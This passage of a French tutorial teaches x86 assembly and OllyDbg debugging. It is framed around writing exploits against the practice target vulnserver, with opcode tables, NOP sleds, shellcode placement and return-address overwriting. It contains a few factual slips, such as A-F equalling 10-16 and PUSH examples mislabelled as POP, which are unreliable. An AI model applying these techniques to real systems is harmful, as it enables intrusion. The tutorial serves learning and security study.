l'interpréter dans la section suivante, mais pour l'instant, réalisez
simplement que ce volet supérieur gauche est l'endroit où les
instructions d'assemblage sont affichées.
Le volet dans le coin supérieur droit de l'écran affiche la valeur de
divers registres et drapeaux dans le CPU. Je ferai référence à cela en
tant que volet d'enregistrement. Ces registres sont de petites zones de
stockage dans le CPU lui-même, et ils sont utilisés pour faciliter
diverses opérations qui sont effectuées dans le langage d'assemblage
X86. Je couvrirai le but de ces registres dans la section suivante de ce
tutoriel.
Le volet dans le coin inférieur gauche montre une section de la
mémoire du programme. Je ferai référence à cela comme le volet de
vidage de la mémoire. Dans ce volet, vous pouvez afficher la mémoire
dans une variété de formats différents, ainsi que copier et même
modifier le contenu de cette mémoire.
Le volet dans le coin inférieur droit montre la pile. Je ferai référence à
cela comme le volet de pile. La colonne de gauche de ce volet contient
les adresses mémoire des entrées de pile, la deuxième colonne
contient les valeurs de ces entrées de pile et la colonne de droite
contient des informations telles que le but des entrées particulières ou
des détails supplémentaires sur leur contenu.
Il existe également une troisième colonne facultative dans le volet de
pile qui affichera un vidage ASCII ou Unicode de la valeur de la pile -
cela peut être activé en cliquant avec le bouton droit sur le volet de
pile et en sélectionnant « Afficher le dump ASCII » ou « Afficher le
dump UNICODE ».
La section suivante contient plus de détails sur le but de la pile.
Tour sur le langage Assembleur X86
Si vous voulez modifier un logiciel, vous devez comprendre
l'assembleur, enfin un peu.
Maintenant, ce que j'appelle l'assembleur est en fait un terme
générique pour un langage de programmation de bas niveau qui ne
fonctionne qu'une étape au-dessus du code machine de base (avec des
1’ et ‘0’) qui est exécuté nativement par le CPU.
Parce que l'assembleur est si étroitement lié au code qu'un CPU
exécute directement, il est, en fait, spécifique à ce type de CPU (ou à
une famille).
Cela signifie que différentes familles de CPU ont des langages
assembleur différents. Vous ne pouvez pas, par exemple, exécuter le
code assembleur écrit pour l'architecture CPU Sun SPARC sur un
processeur X86, un processeur IA-64 bits ou un processeur MIPS.
Ces CPU ont tous des langages d'assembleur différents.
OllyDbg, et ce tutoriel, se concentreront spécifiquement sur
l'architecture X86 (Intel) utilisée sur la grande majorité des systèmes
32 bits « à usage courant » dans le monde informatique.
Cette section est uniquement destinée à fournir une très brève
description de ce langage - espérons-le juste assez, pour vous aider à
démarrer votre parcours d'initiation, mais certainement pas assez pour
couvrir tous les scénarios possibles auxquels vous pouvez être
confronté dans ce domaine. Vous devez vous attendre à devoir faire
vos propres recherches sur ce sujet pour être vraiment à l'aise.
Je ne couvrirai pas non plus comment écrire un code assembleur, juste
comment l'interpréter dans OllyDbg, et je vais simplifier les choses,
dans certains cas, par souci de concision.
Je suggérerais que tout ce qui est écrit dans cette section ne soit pas
considéré comme un évangile, mais plutôt comme un ensemble
général de lignes directrices pour vous aider à acquérir un niveau de
compréhension de base de l'assembleur afin que vous puissiez
commencer à en exploiter l'écriture.
L'assembleur ASM
L'assembleur (ou ASM) est le langage informatique le plus proche de
la machine. C'est en asm que les compilateurs convertissent les
programmes écrits en Visual basic, C/C++, Delphi, DotNet, etc.
On parle de langage de bas niveau pour l'ASM et de haut niveau pour
les autres.
Basée sur un codage en valeur hexadécimale (base 16), chaque
instruction de l'asm peut être représentée soit par sa valeur (on parle
alors de l'opcode) ou sous forme de mot clé, beaucoup plus
compréhensible pour nous.
Par exemple pour un saut : EBh = JMP (le h indique une valeur en
hexadécimal, un d indiquera une valeur en décimal).
Nous n'allons pas voir toutes les instructions (il y en a pas mal !), mais
les principales qui nous servirons dans les premiers cas que nous
allons étudier.
Vous découvrirez les autres au fur et à mesure de votre évolution.
Le détail de certaines fonctions est Ici.
Les transferts de données :
MOV (Move)
Syntaxe : MOV Destination, Source
Déplace les données entre registres et mémoires. Le contenu de
la source est copié dans la destination sans être changé.
PUSH (Push Word onto Stack)
Syntaxe : PUSH Source
Place sur le haut de la pile les données récupérées dans la source
de 16 ou 32 bits (mémoire ou registre).
POP (Pop Word off Stack)
Syntaxe : POP Destination
Permet de restaurer des données stockées sur le dessus de la pile
(il s'agit d'un dépilage). La destination est une zone mémoire ou
un registre de 16 ou 32 bits.
Les instructions arithmétiques :
ADD (Arithmetic aDDition)
Syntaxe : ADD Destination, Source
Effectue une addition sans retenue. Le contenu de la source est
ajouté à la destination, le résultat étant dans la destination.
SUB (SUBstract)
Syntaxe : SUB Destination, Source
Retranche la source de la destination et stocke le résultat dans la
destination. Contrairement à SBB, cette instruction ne prend pas
en compte l'indicateur de retenue [CF]. Cette instruction permet
d'effectuer une soustraction ordinaire. La source et la destination
doivent être de même taille : 8, 16 ou 32 bits.
MUL (unsigned MULtiply)
Syntaxe : MUL Source
Multiplie le contenu de EAX ou AX ou AL (selon la taille du
registre donné en paramètre) par la source, les deux nombres
étant considérés non signés. Le résultat est transféré dans la
destination qui est le registre EAX ou le couple de registres
EDX:EAX. Pour les nombres signés, ce sera l'instruction IMUL.
DIV (DIVide)
Syntaxe : DIV Opérande
Cette instruction permet d'effectuer une division non-signée par
l'opérande. Selon la taille de l'opérande, on divise AX, ou
DX:AX, ou EDX:EAX. Le reste de la division est alors stocké
dans AH, ou dans DX, ou dans EDX. Pour les nombres signés,
ce sera l'instruction IDIV.
INC (INCrement)
Syntaxe : INC Destination
Incrémente (augmente de 1) la destination, qui peut être un
registre ou une mémoire = variable) de 8, 16 ou 32 bits.
DEC (DECrement)
Syntaxe : DEC Destination
Décrémente de 1 (retranche 1) la destination, qui peut être un
registre ou une mémoire (= variable) de 8, 16 ou 32 bits.
Les instructions de comparaison :
CMP (CoMPare)
Syntaxe : CMP Destination, Source
La destination est comparée à la source, provoquant une mise à
jour des indicateurs. Cela consiste en une soustraction de la
source à la destination, sans retenir le résultat, ne faisant que
modifier les indicateurs (flags).
Les instructions de rupture de séquences :
CALL (Procedure CALL)
Syntaxe : CALL Destination
Sert à appeler des sous-routines, destination étant l'adresse de
début de cette sous-routine.
RET (RETurn From procedure)
Syntaxe : RET / RETF
Met fin au sous-programme et retourne à la ligne de code suivant
le CALL.
JMP (JuMP)
Syntaxe : JMP Destination
Permet d'effectuer un saut vers la destination spécifiée.
Les sauts conditionnels :
JA (Jump if Above) : saut si supérieur
JAE (Jump if Above or Equal) : Saut si supérieur ou égal
JB (Jump if Below) : saut si inférieur
JBE (Jump if Below or Equal) : saut si inférieur ou égal
JE (Jump if Equal) : saut si égal
JG (Jump if Greater) : saut si supérieur
JGE (Jump if Greater or Equal) : saut si supérieur ou égal
JL (Jump if Less) : saut si inférieur
JLE (Jump if Less or Equal) : saut si inférieur ou égal
JZ (Jump if Zero) : saut si égal (zéro)
JNA (Jump if not Above) : saut si pas supérieur
JNAE (Jump if not Above not Equal) : saut si ni supérieur ni
égal
JNB (Jump if not Below) : saut si pas inférieur
JNE (Jump if not Equal) : saut si pas égal (zéro)
JNG (Jump if not Greater) : saut si pas supérieur
JNGE (Jump if not Greater not Equal) : saut si ni supérieur ni
égal
JNL (Jump if not Less) : saut si pas inférieur
JNLE (Jump if not Less not Equal) : saut si ni inférieur ni égal
JNZ (Jump if not Zero) : saut si pas égal
Pour d'autres instructions ASM, je vous invite à consulter le fichier
d'aide Ollydbg.hlp ou à vous rendre sur des sites comme Gladir.com.
Syntaxe et autres trucs ennuyeux
Avant d'entrer dans le vif du sujet ici, je vais couvrir quelques détails
sur la syntaxe des instructions de montage que vous verrez dans
Ollydbg, et discuter également d'un point important sur le boutisme
des processeurs X86.
OllyDbg, par défaut, utilise la syntaxe MASM lorsqu'il désassemble
les instructions de code machine brutes d'un exécutable dans le code
d'assemblage plus digestible que vous pouvez voir dans la vue CPU.
La syntaxe MASM, lorsqu'il y a deux opérandes dans une instruction,
place l'opérande de destination en premier et l'opérande source en
second. Par exemple, la commande suivante copiera le contenu du
registre EAX dans le registre ECX
mov ECX, EAX
J'entrerai plus en détail sur certaines des instructions particulières
disponibles plus loin dans ce guide, mais pour l'instant, rappelez-vous
simplement que dans la syntaxe MASM, la destination d'une
instruction vient en premier et la source en second. Vous pouvez
choisir une syntaxe différente pour OllyDbg à utiliser dans le menu
Options Options de débogage, sous l'onglet Disasm. J'utiliserai la
syntaxe MASM dans ce tutoriel.
Une autre chose à savoir ici est le boutisme du processeur X86 –et le
petit-boutisme. Cela signifie essentiellement que certaines valeurs sont
représentées dans le processeur, de gauche à droite, du moins pour
l’octets le plus significatif (MSB=Most Significant Bit).
Les octets sont affichés dans OllyDbg sous forme de nombres
hexadécimaux à deux chiffres avec des valeurs possibles de 0 à F
(0123456789ABCDEF) pour chaque chiffre, l'équivalent décimal des
chiffres A à F étant 10-16. La valeur d'octet unique la plus élevée
possible est FF (parfois précédée de «0x» et écrite comme 0xFF pour
indiquer que la numérotation hexadécimale est utilisée), ce qui
équivaut à 255 en décimal.
Si vous n'êtes pas du tout familier avec la numérotation hexadécimale,
je vous suggère de faire quelques lectures sur le sujet afin de bien
comprendre comment cela fonctionne, car c'est un sujet critique pour
modifier un exécutable.
Vous pouvez facilement convertir entre des formats hexadécimaux et
décimaux en utilisant une bonne calculatrice informatique, comme la
calculatrice Windows ou autre calculatrice avancée. Changez
simplement les modes d'affichage des calculatrices jusqu'à ce que les
touches alphabétiques apparaissent, puis utilisez les commandes
appropriées, qui seront probablement étiquetées quelque chose comme
«Hex» et «Dec» pour basculer au besoin.
Pour illustrer le fonctionnement du petit-boutisme, si nous voulons
représenter un nombre hexadécimal tel que 12ABCDEF en petit-
boutisme, nous écririons en fait le nombre sous la forme EFCDAB12.
Ce que nous avons fait est de diviser le nombre en octets de
composants individuels :
12ABCDEF
Devient
12 AB CD EF
Et puis nous inversons l'ordre de ces octets et les remettons ensemble.
EF CD AB 12
Devient
EFCDAB12
Rappelez-vous qu’ici nous inversons uniquement l'ordre des octets,
pas les chiffres qui composent les octets. Par exemple, vous
n'inverseriez pas l'ordre des 1 et 2 dans le premier octet de 12.
Jetez un œil à cela plusieurs fois pour vous assurer de bien le
comprendre. Cette inversion des octets est quelque chose que vous
devez comprendre lorsque vous modifierez réellement des
exécutables, car avoir une bonne compréhension de cela vous
permettra d'être sûr que les valeurs que vous insérez dans le code via
vos modifications sont interprétées correctement par le CPU.
Registres et drapeaux
Il y a neuf registres 32 bits différents affichés dans OllyDbg (dans le
volet des registres - volet supérieur droit de la vue CPU).
Comme mentionné précédemment, ces registres sont des zones de
stockage à l'intérieur du CPU qui peuvent chacune contenir quatre
octets (32 bits) de données.
Bien que ces registres aient tous des objectifs nominaux (utilisés pour
des choses particulières par la plupart des programmes), la majorité de
ces registres peuvent être utilisés pour stocker toute ancienne valeur
qui convient.
Pour des raisons pratiques, dans la modification logicielle, vous ne
pouvez généralement considérer la plupart des registres que comme de
très petites zones de stockage.
Il existe cependant deux exceptions importantes à cela, qui sont les
registres EIP et ESP, qui ont des objectifs très spécifiques dont vous
devez être conscient.
Le registre EIP est connu sous le nom de pointeur d'instruction et son
but est de « pointer » vers l'adresse de mémoire qui contient
l'instruction suivante que le CPU doit exécuter.
En supposant que OllyDbg soit ouvert avec vulnserver.exe en cours
de débogage, la recherche dans le registre EIP doit afficher une valeur
qui correspond à l'adresse mémoire de l'entrée sélectionnée dans le
volet supérieur gauche de la vue CPU OllyDbg.
Lorsque le programme débogué est autorisé à continuer, il s'agit de la
première instruction que le processeur exécutera. Toutes les
techniques d’exploitation axées sur l’assembleur se concentrent sur
différentes façons de faire pointer ce registre EIP vers un endroit
choisi par l’attaquant, afin que leur propre code puisse être exécuté.
Le registre ESP est connu sous le nom de pointeur de pile, et il
contient une adresse mémoire qui « pointe » vers l'emplacement actuel
sur la pile. En regardant à nouveau OllyDbg, la valeur dans ESP doit
correspondre à l'adresse de la valeur en surbrillance dans le volet de
pile dans le coin inférieur droit de la vue CPU. Voir la section
suivante pour plus de détails sur le fonctionnement de la pile.
Le registre des drapeaux est une collection de valeurs à bit unique qui
sont utilisées pour indiquer le résultat de diverses opérations. Vous
pouvez voir les valeurs des drapeaux juste en dessous du registre EIP
dans le volet supérieur droit d'OllyDbg, les désignations C, P, A, Z, S,
T, D et O et les nombres (0 ou 1) à côté d’eux montrent si chaque
drapeau particulier est activé ou désactivé. Les valeurs des indicateurs
sont principalement utilisées pour contrôler les résultats des sauts
conditionnels, qui seront discutés un peu plus loin.
Les opérations de définition des valeurs des registres remplaceront
toutes les valeurs existantes actuellement détenues. Il est cependant
possible de définir (ou d'accéder) uniquement à une partie d'une valeur
d'un registre en utilisant des sous-registres.
Si vous souhaitez plus d'informations sur ces registres et drapeaux,
ainsi que sur les sous-registres, vous pouvez vérifier ici :
http://msdn.microsoft.com/enus/library/ff561502%28v=vs.85%29.aspx
Les valeurs des registres et
drapeaux dont nous avons discuté
sont situées dans le volet supérieur
droit de la vue CPU dans OllyDbg.
Dans la capture d'écran ci-contre,
le rectangle rouge le plus haut
entoure les registres et le rectangle
rouge juste en dessous entoure les
drapeaux.
La pile
La pile (stack) est une structure de mémoire spéciale qui est utilisée
pour rendre les opérations des fonctions plus efficaces. Les fonctions,
pour ceux qui ne connaissent pas les termes de programmation, sont
des sections de code qui remplissent une fonction spécifique qui peut
être appelée à partir d'un autre code. Lorsque l'opération d'une
fonction est terminée, elle remet le contrôle au code appelant, qui
devrait continuer à s'exécuter là où il s'était arrêté/détourné.
Je dis "devrait continuer à s'exécuter là où il s'est arrêté" car les
débordements de pile, l'une des vulnérabilités d'exécution de code les
plus courantes et les plus simples à exploiter, renversent en fait ce
processus pour prendre le contrôle d'un programme.
La pile est composée d'un certain nombre de valeurs de 32 bits,
empilées les unes sur les autres comme une pile d’assiettes. Il s'agit
d'une structure LIFO (Last In First Out), ce qui signifie que seule
l'entrée la plus élevée peut être consultée (ou retirée de la pile), et
toutes les nouvelles entrées ajoutées doivent être ajoutées par-dessus
celles existantes.
Par exemple, si vous souhaitez accéder à la troisième entrée de la pile
à l’aide de processus de gestion de pile, vous ne pouvez pas
simplement y aller directement ; vous devez d'abord supprimer les
deux entrées au-dessus. Le processus de lecture d'une entrée sur la pile
implique également généralement sa suppression de la pile.
La pile occupe une section définie de l'espace mémoire et croît vers le
bas, vers des adresses plus petites en mémoire à partir de son adresse
de base.
Par exemple :
Si l'adresse de base de la pile était : 2222FFFF, l'entrée de pile
inférieure serait à l'adresse 2222FFFC, l'entrée suivante serait à
2222FFF8, la suivante à 2222FFF4 et ainsi de suite.
L'entrée supérieure de la pile, celle qui est accessible, est pointée par
le registre de pointeur de pile, ESP.
Au fur et à mesure que des opérations de pile sont effectuées, telles
que l'ajout ou la suppression d'entrées, le registre ESP sera
automatiquement mis à jour pour refléter ces changements, la valeur
du registre devenant plus petite si de nouvelles entrées sont ajoutées,
ou plus grande si des entrées sont supprimées (rappelez-vous que la
pile s'agrandit vers le bas - vers des adresses plus petites.)
De la même manière, la modification de la valeur du registre ESP par
d'autres moyens (par exemple en le définissant directement) modifiera
également la position actuelle sur la pile.
La pile est utilisée pour contenir beaucoup de choses intéressantes, y
compris les variables locales des fonctions, les adresses de retour
auxquelles les fonctions doivent retourner une fois qu'elles sont
terminées ainsi que certaines adresses de gestion des exceptions.
Dans OllyDbg, une représentation des données de la pile est affichée
dans le volet inférieur droit de la vue CPU.
Chaque ligne dans la section représente une entrée sur la pile.
Instructions de l’Assembleur
Maintenant que nous sommes à 10 000 mètres au-dessus des registres
et de la pile, nous pouvons examiner certaines des instructions dans le
langage assembleur qui peuvent être utilisées pour les manipuler. Il y
a un grand nombre de ces instructions, mais je ne vais me concentrer
que sur quelques-unes, celles qu’exploitent un modificateur de
logicielle et doivent être absolument connues. Ces instructions
particulières peuvent ne pas suffire pour toutes vos activités de
modification logicielle, mais j'ai trouvé qu'elles sont les plus
couramment utilisées, elles sont donc un excellent point de départ.
Quelque chose à noter à propos de ces instructions est que chaque
instruction a un opcode équivalent, et lorsqu'il existe différentes
variantes d'une instruction, elle aura un opcode différent pour
permettre au CPU de les différencier. Si vous regardez dans la
deuxième colonne du volet désassembleur de la vue CPU dans
OllyDbg, vous verrez les opcodes pour chaque instruction en cours
d'exécution.
Je couvrirai les instructions suivantes dans cette section :
JMP
CALL
POP
PUSH
RETN
INT3
NOP
JMP (Jump : Saut)
Par défaut, le CPU exécute ses instructions les unes après les autres,
en commençant par la première instruction, puis en poursuivant par la
seconde, etc., du haut vers les bas. Un JMP est l'une des nombreuses
instructions qui indiquent au CPU de se déplacer vers un autre
emplacement dans le code et de continuer son exécution à partir de là.
Il existe différents types d'instructions JMP, certaines qui « sautent »
d'une distance en arrière ou en avant (par rapport à l'emplacement
actuel dans la mémoire), et d'autres qui sautent vers des emplacements
absolus en mémoire (quel que soit l'endroit où le code en cours
d'exécution est situé). Il existe également des instructions de saut
conditionnel (appelées instructions Jcc dans de nombreuses références
d'instructions). Ceux-ci ne sautent à un autre emplacement que si une
certaine condition est remplie, généralement déterminée en fonction
de la valeur d'un ou plusieurs drapeaux qui sont définis par diverses
autres instructions. Ces instructions de saut conditionnel commencent
toutes par la lettre J, et certains exemples sont JE (saut si égal), JNZ
(saut si pas zéro) et JB (saut si En-dessous). Tous les sauts
conditionnels sont des sauts relatifs et ceux-ci sont généralement
utilisés pour effectuer des branchements au sein de programmes, par
ex. le code s'exécute d'une manière si une certaine condition est vraie,
ou d'une manière différente si elle ne l'est pas.
L'une des instructions JMP les plus courantes utilisées dans la
modification de code est le saut court. L'instruction d'assemblage pour
ce type de JMP est normalement écrite avec une adresse mémoire
absolue suivant le "JMP SHORT" ; cependant, la valeur de l'opcode
n'est pas spécifiée en termes absolus, mais plutôt comme une valeur
relative à l'adresse de la prochaine instruction en mémoire.
\xEB\x08 JMP SHORT [Address of the Next Instruction + 8]
L'opcode d’un saut court JMP est « \ xEB » suivi d'une valeur d'un
seul octet qui contrôle la distance du saut, qui est effectuée par rapport
au début de la prochaine instruction en mémoire. L'exemple ci-dessus
va avancer de 8 octets. Nous pouvons remplacer n'importe quelle
valeur hexadécimale par « \ x7F » pour permettre de sauter jusqu'à
127 octets par rapport à l'adresse de l'instruction suivante.
Nous pouvons également utiliser l'instruction de saut court pour sauter
en arrière à partir de notre position actuelle, en utilisant les valeurs ci-
dessus « \ x7F ». Nous comptons essentiellement de « \ xFF » à « \
x80 » afin de sauter jusqu'à 128 octets en arrière, par rapport à
l'adresse de la prochaine instruction. L'utilisation d'une valeur de « \
xFF » fait reculer d'un octet, « \ xFE » recule de deux octets, « \ xFD
» de trois octets et ainsi de suite. N'oubliez pas que le saut est relatif à
l'adresse de la prochaine instruction en mémoire, donc l'utilisation
d'une instruction « \ xEB \ xFE » repassera au début de sa propre
instruction, créant une boucle.
Les sauts peuvent également être effectués directement aux
emplacements détenus par divers registres, tels que ceux indiqués ci-
dessous
\xFF\xE0 JMP EAX
\xFF\xE1 JMP ECX
\xFF\xE2 JMP EDX
\xFF\xE3 JMP EBX
\xFF\xE4 JMP ESP
\xFF\xE5 JMP EBP
\xFF\xE6 JMP ESI
\xFF\xE7 JMP EDI
Si l'une de ces instructions de saut est utilisée, l'exécution sautera à
l'adresse mémoire spécifiée par la valeur du registre donné. Ainsi, si
vous exécutez une instruction de JMP EAX et que le registre EAX
contient la valeur 00401130, l'exécution passera aux instructions
situées en mémoire à l'adresse 00401130.
Il existe un certain nombre d'autres instructions de saut que vous
pouvez utiliser, que vous pouvez découvrir en vous référant à une
référence de jeu d'instructions, comme celle liée à la fin de cette
section. La principale chose à retenir à propos de l'instruction JMP est
qu'elle vous permet de rediriger l'exécution du code.
CALL (Appel)
Une instruction CALL est utilisée pour appeler une procédure.
Lorsqu'un appel est effectué, l'exécution saute à une adresse donnée en
mémoire, le code commençant à cet emplacement est exécuté jusqu'à
ce qu'une instruction RETN soit atteinte, puis l'exécution doit revenir
à l'instruction en mémoire immédiatement après l'instruction CALL
initiale. La possibilité de revenir à l'emplacement de l'instruction
CALL initiale est obtenue en utilisant la pile pour stocker l'adresse où
l'exécution de code doit retourner une fois que l'instruction RETN est
atteinte. Étant donné que cette « adresse de retour » est stockée sur la
pile, elle est dans un emplacement idéal pour être écrasée par un
débordement de pile (mais c'est un sujet pour une autre fois). Pour
l'instant, vous pouvez oublier ce qui se passe lorsque vous revenez
(RETN) à partir de l'instruction CALL, et vous concentrer
uniquement sur le fait que, comme JMP, CALL est une autre
instruction que nous pouvons utiliser pour rediriger le chemin
d'exécution du code du CPU.
Comme pour l'instruction JMP, il existe différents types d'instructions
CALL, mais les plus intéressantes de notre point de vue sont celles
qui redirigent l'exécution vers un emplacement spécifié par un registre
CPU. Voici quelques exemples :
\xFF\xD0 CALL EAX
\xFF\xD1 CALL ECX
\xFF\xD2 CALL EDX
\xFF\xD3 CALL EBX
\xFF\xD4 CALL ESP
\xFF\xD5 CALL EBP
\xFF\xD6 CALL ESI
\xFF\xD7 CALL EDI
Comme avec les instructions JMP discutées précédemment, une
instruction CALL EAX redirigera l'exécution du code vers l'adresse
mémoire détenue par le registre EAX. L'utilisation de CALL peut
également être un moyen intelligent de connaître votre position
actuelle dans la mémoire lors de l'écriture du shellcode, car l'adresse
de la prochaine instruction sera automatiquement ajoutée en haut de la
pile lors de l'exécution de l'instruction CALL.
POP
L'instruction POP fonctionne avec la pile et vous permet de « faire
sauter » l'entrée du haut de la pile et de la placer à l'emplacement
spécifié par l'opérande fourni, qui sera soit un registre, soit un
emplacement mémoire. L'instruction POP, ainsi que son instruction
complémentaire PUSH nous sont incroyablement utiles en tant
qu'écrivains d'exploit, car elles nous permettent de manipuler la pile et
de déplacer diverses valeurs dans la mémoire.
Quelques exemples de commandes POP utiles sont :
\x58 POP EAX
\x59 POP ECX
\x5A POP EDX
\x5B POP EBX
\x5C POP ESP
\x5D POP EBP
\x5E POP ESI
\x5F POP EDI
L'exécution d'une instruction telle que POP EAX supprimera la valeur
du haut de la pile et la placera dans le registre EAX. La position
actuelle sur la pile sera ajustée en ajoutant 4 octets à la valeur du
registre ESP. (Comme indiqué précédemment dans la section sur la
pile, la pile croît vers le bas, ce qui rend la valeur de ESP plus grande
rend la pile plus petite)
PUSH
L'instruction complémentaire de POP est PUSH, qui ajoute de
nouvelles entrées à la pile. Comme avec POP, le premier opérande
peut être une adresse mémoire ou un registre, et la valeur de cet
emplacement sera poussée sur la pile. Certaines commandes POP
utiles sont.
\x50 PUSH EAX
\x51 PUSH ECX
\x52 PUSH EDX
\x53 PUSH EBX
\x54 PUSH ESP
\x55 PUSH EBP
\x56 PUSH ESI
\x57 PUSH EDI
POP EAX prendra la valeur d'EAX et la mettra sur la pile, réduisant
automatiquement la valeur du registre ESP de quatre octets dans le
processus.
RETN (Return – Renvois)
Parfois écrite comme RET, cette instruction prend la valeur la plus
élevée de la pile, l'interprète comme une adresse mémoire et redirige
l'exécution du code vers cet emplacement. Facile. Un opérande
facultatif peut être utilisé pour libérer des octets supplémentaires de la
pile en modifiant la valeur du registre ESP lorsque l'instruction est
exécutée. RETN est souvent utilisé en combinaison avec la
commande CALL.
\xC3 RETN
Imaginez ce que vous pourriez faire si vous pouviez modifier l'adresse
de retour sur la pile avant l'exécution de l'instruction RETN dans un
programme …
INT3
Une instruction INT3 trouvée dans le code provoque une pause
d'exécution lorsqu'elle est exécutée dans le débogueur - c'est
l'équivalent de l'instruction d'assemblage de définir un point d'arrêt
dans le débogueur (voir la section suivante pour plus de détails sur ce
qu'est un point d'arrêt).
\xCC INT3
L'utilisation de ces caractères dans les données que vous envoyez à
une application est un excellent moyen de suspendre l'exécution
pendant le processus de création d'une modification logicielle. S'il est
placé à un emplacement où vous prévoyez que l'exécution sera
redirigée, il vous permettra de confirmer que la redirection se produit
comme prévu, ou s'il est placé immédiatement avant le shellcode, il
vous donnera l'occasion d'examiner que le shellcode n'a pas été
modifié avant lui est exécuté. Considérez-le comme vous offrant un
niveau de contrôle supplémentaire qui peut aider à identifier et
résoudre les problèmes pendant le processus de développement de
l'exploit. Une fois ces problèmes résolus, les points d'arrêt peuvent
bien sûr être supprimés.
Vous pouvez voir un exemple d'utilisation de l'instruction INT3 dans
la prochaine section sur l'édition de code dans le débogueur.
NOP (No Operation)
NOP signifie No Operation, et est fondamentalement une instruction
qui ne fait rien.
\x90 NOP
Quel est donc l'intérêt d'une instruction qui ne fait rien ? Eh bien, en
tant que modificateur de logicielle, nous pouvons utiliser le fait que
cette instruction prend de la place et ne changera pas les valeurs de
registre ou la pile de plusieurs façons.
L'utilisation la plus courante de l'instruction NOP est le NOP de
glissement (NOPslide ou parfois NOPsled). Lorsque vous avez la
possibilité de rediriger l'exécution de code, mais que vous ne
connaissez que la zone générale dans laquelle vous vous retrouverez,
vous pouvez coller une série de NOP dans cette zone sur laquelle
atterrira l'exécution de votre code. Chaque instruction NOP
consécutive depuis le point d'atterrissage sera exécutée jusqu'à la fin
du groupe (Slide). À ce stade, tout shellcode placé à la fin de la liste
finira par être exécuté.
Une autre utilisation des instructions NOP est de fournir une zone
tampon en mémoire pour certains types de shellcode. Certains
shellcode, en particulier les shellcode encodés, peuvent nécessiter un
espace de travail en mémoire pour fonctionner correctement. Un
nombre suffisant d'instructions NOP, placées au bon endroit dans les
données envoyées par votre exploit, peuvent fournir cet espace de
travail.
Une chose importante à garder à l'esprit ici est que certaines autres
instructions peuvent être utilisées pour remplacer le NOP traditionnel
lorsque l'instruction NOP elle-même n'est pas appropriée. Par
exemple, lorsque le filtrage de caractères empêche l'envoi de l'octet « \
x90 », ou lorsque les opcodes utilisés pour l'instruction doivent
également pouvoir être interprétés comme une adresse mémoire dans
une certaine plage interdite.
Dans ce cas, toute instruction qui correspond aux critères appropriés
pour l'exploit et ne modifie pas une valeur de registre ou la pile d'une
manière qui pourrait briser le futur shellcode peut être utilisée.
Trouver ces types d'instructions sera une question d'identifier quels
octets particuliers peuvent être utilisés compte tenu des exigences de
modification logicielle, puis de déterminer quelles instructions les
octets donnés peuvent être utilisés pour créer, tout en considérant
l'effet que ces instructions peuvent avoir sur la pile et registres
importants.
C'est là qu'une référence au jeu d'instructions et la capacité d'OllyDbg
à désassembler votre propre code (voir la section sur l'édition du code,
de la mémoire et des registres) peuvent être utiles.
Pour plus d'informations sur les instructions disponibles dans
l'assembleur X86, vous pouvez visiter la page suivante pour obtenir un
manuel de référence du jeu d'instructions : Ici.
Méthode/Guide d'exécution de code dans
Ollydbg
Lorsque vous écrivez une modification logicielle, vous devrez être en
mesure d'exécuter le code dans votre application cible de différentes
manières, pour vous donner la quantité de contrôle appropriée pour
surveiller le code et la mémoire de près en cas de besoin. Vous
voudrez peut-être exécuter normalement à un moment donné,
parcourir pas à pas chaque instruction individuelle à un autre, et
parfois la faire exécuter rapidement à un point particulier, vous
permettant de prendre le contrôle une fois ce point atteint.
Heureusement, tout cela est possible via l'utilisation d'un débogueur
en utilisant des points d'arrêt ainsi que les différentes méthodes pour
parcourir ce code.
Step in, Step over (Allez dans, Passer dessus)
Commençons par apprendre à parcourir le code. Si vous ne l'avez pas
déjà fait, démarrez OllyDbg et ouvrez l’exécutable à debugger.
L'exécution devrait s'arrêter automatiquement au point d'entrée du
programme. Dans le volet supérieur gauche de la vue CPU, vous
devriez voir l'instruction « PUSH EBP » mise en évidence.
Prenez note de l'entrée
supérieure de la pile
(volet inférieur droit)
Ainsi que de la valeur
des registres ESP et
EBP (dans le volet
supérieur droit)
Puis appuyez sur la touche F8, ou sur une seule fois.
La touche F8 est une touche de raccourci pour l'opération « Pas à pas
», qui vous permet de faire avancer d’une instruction, sans suivre
aucun appel de fonction.
L'importance de cela deviendra claire dans un instant, mais pour
l'instant, vous devriez avoir remarqué que depuis l'exécution de cette
instruction PUSH EBP, la valeur détenue par EBP a été ajoutée en
haut de la pile et la valeur du registre ESP a diminué par quatre.
(22FF8C – 4 = 22FF88)
De plus, l'instruction qui suit "PUSH EBP" dans le volet supérieur
gauche, à savoir "MOV EBP, ESP", devrait maintenant être mise en
surbrillance, et deux registres, ESP et EIP ont leurs valeurs surlignées
en rouge pour indiquer qu'elles ont changé.
Prenez note des valeurs des registres EBP et ESP et appuyez de
nouveau sur F8. Le registre EBP changera pour correspondre à celui
du registre ESP, et les valeurs des registres EBP et EIP seront
surlignées en rouge. Ce que cette surbrillance rouge des valeurs
indique, c'est que cette valeur particulière a changé au cours de la
dernière opération.
Appuyez deux fois sur F8 jusqu'à ce que l'instruction « CALL
DWORD PTR DS: [<& msvcrt .__ set_app_type>] » soit mise en
surbrillance.
Appuyez à nouveau sur F8 et l'exécution devrait passer à l'instruction
suivante de « CALL vulnserv.00401020 ».
Que s'est-il passé ici ? Nous venons d'exécuter une instruction CALL,
qui est destinée à être utilisée pour rediriger temporairement
l'exécution de code vers un autre emplacement dans l'espace mémoire
du programme, mais le débogueur ne s'est pas déplacé vers cette
nouvelle section de code, comme nous aurions pu nous y attendre.
Ce qui s'est réellement passé ici, c'est que la touche F8 ou "Step over",
en fait "a enjambé" cette instruction CALL. Il a exécuté le code
spécifié par cette instruction CALL et a suspendu le programme dans
le débogueur une fois de plus après qu'il a été fait et l'exécution est
revenue à l'instruction immédiatement après l'appel.
Alors, que faisons-nous si nous voulons réellement suivre le
débogueur dans le code spécifié par l'une de ces instructions CALL ?
Nous utilisons la commande "Step into", qui utilise F7 ou comme
touche de raccourci.
Utilisez la touche F7 maintenant, avec votre débogueur sélectionnant
l'instruction "CALL vulnserv.00401020", et voyez ce qui se passe.
Le débogueur suivra les instructions dans vulnserver à l'adresse de
mémoire 00401020, puis s'arrêtera.
Vous pouvez maintenant suivre le code référencé par cette instruction
CALL.
Ainsi, la différence entre les commandes "Step over" et "Step into" est
qu’avec l'une on passe par-dessus les instructions CALL (ce qui vous
évite d'avoir à parcourir le code si vous ne le souhaitez pas) et l’autre
permet d’aller et de visualiser le code ’CALLed’ appeler.
D'où je viens ? Révéler l’historique
OllyDbg conserve un historique des 1000 dernières commandes qui
